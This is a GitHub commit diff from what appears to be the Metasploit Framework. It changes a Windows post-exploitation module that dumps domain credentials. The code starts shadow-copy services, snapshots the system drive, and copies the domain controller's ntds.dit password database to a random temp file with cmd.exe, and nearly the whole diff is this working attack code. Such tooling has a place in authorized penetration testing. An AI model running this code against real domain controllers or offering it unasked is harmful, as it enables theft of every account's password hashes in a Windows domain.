Skip to content

Commit 9308da7

Browse files
David MaloneyDavid Maloney
authored andcommitted
2003 code path working
using VSS directly on server 2003 and repairing the database with esentutl is now working MSP-12358
1 parent 2100404 commit 9308da7

File tree

2 files changed

+42
-17
lines changed

2 files changed

+42
-17
lines changed

lib/msf/core/post/windows/shadowcopy.rb

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -182,6 +182,25 @@ def start_vss
182182
return false
183183
end
184184
end
185+
unless start_swprv
186+
return false
187+
end
188+
return true
189+
end
190+
191+
def start_swprv
192+
vss_state = wmic_query('Service where(name="swprv") get state')
193+
if vss_state=~ /Running/
194+
print_status("Software Shadow Copy service is running.")
195+
else
196+
print_status("Software Shadow Copy service not running. Starting it now...")
197+
if service_restart("swprv", START_TYPE_MANUAL)
198+
print_good("Swoftware Shadow Copy started successfully.")
199+
else
200+
print_error("Insufficient Privs to start service!")
201+
return false
202+
end
203+
end
185204
return true
186205
end
187206

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 23 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -46,24 +46,23 @@ def run
4646

4747
def copy_database_file
4848
database_file_path = nil
49-
case sysinfo["OS"]
50-
when /2003/
51-
database_file_path = vss_method
52-
when /2008|2012/
53-
database_file_path = ntdsutil_method
54-
else
55-
print_error "This version of Windows in unsupported"
49+
if start_vss
50+
case sysinfo["OS"]
51+
when /2003| \.NET/
52+
database_file_path = vss_method
53+
when /2008|2012/
54+
database_file_path = ntdsutil_method
55+
else
56+
print_error "This version of Windows is unsupported"
57+
end
5658
end
5759
database_file_path
5860
end
5961

6062
def is_domain_controller?
6163
status = false
62-
service_list.each do |svc|
63-
if svc[:name] == 'NTDS'
64-
status = true
65-
break
66-
end
64+
if session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit')
65+
status = true
6766
end
6867
status
6968
end
@@ -77,6 +76,7 @@ def ntdsutil_method
7776
print_status "NTDS database copied to #{file_path}"
7877
else
7978
print_error "There was an error copying the ntds.dit file!"
79+
vprint_error result
8080
file_path = nil
8181
end
8282
file_path
@@ -97,10 +97,6 @@ def preconditions_met?
9797
print_error "This module requires UAC to be bypassed first"
9898
status = false
9999
end
100-
if is_system?
101-
print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user"
102-
status = false
103-
end
104100
return status
105101
end
106102

@@ -110,7 +106,17 @@ def repair_ntds(path='')
110106
end
111107

112108
def vss_method
113-
109+
id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\")
110+
sc_details = get_sc_details(id)
111+
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
112+
target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
113+
copy_command = "/c copy #{sc_path} #{target_path}"
114+
result = cmd_exec('cmd.exe', copy_command)
115+
if result =~ /1 file\(s\) copied/
116+
return target_path
117+
else
118+
return nil
119+
end
114120
end
115121

116122
end

0 commit comments

Comments
 (0)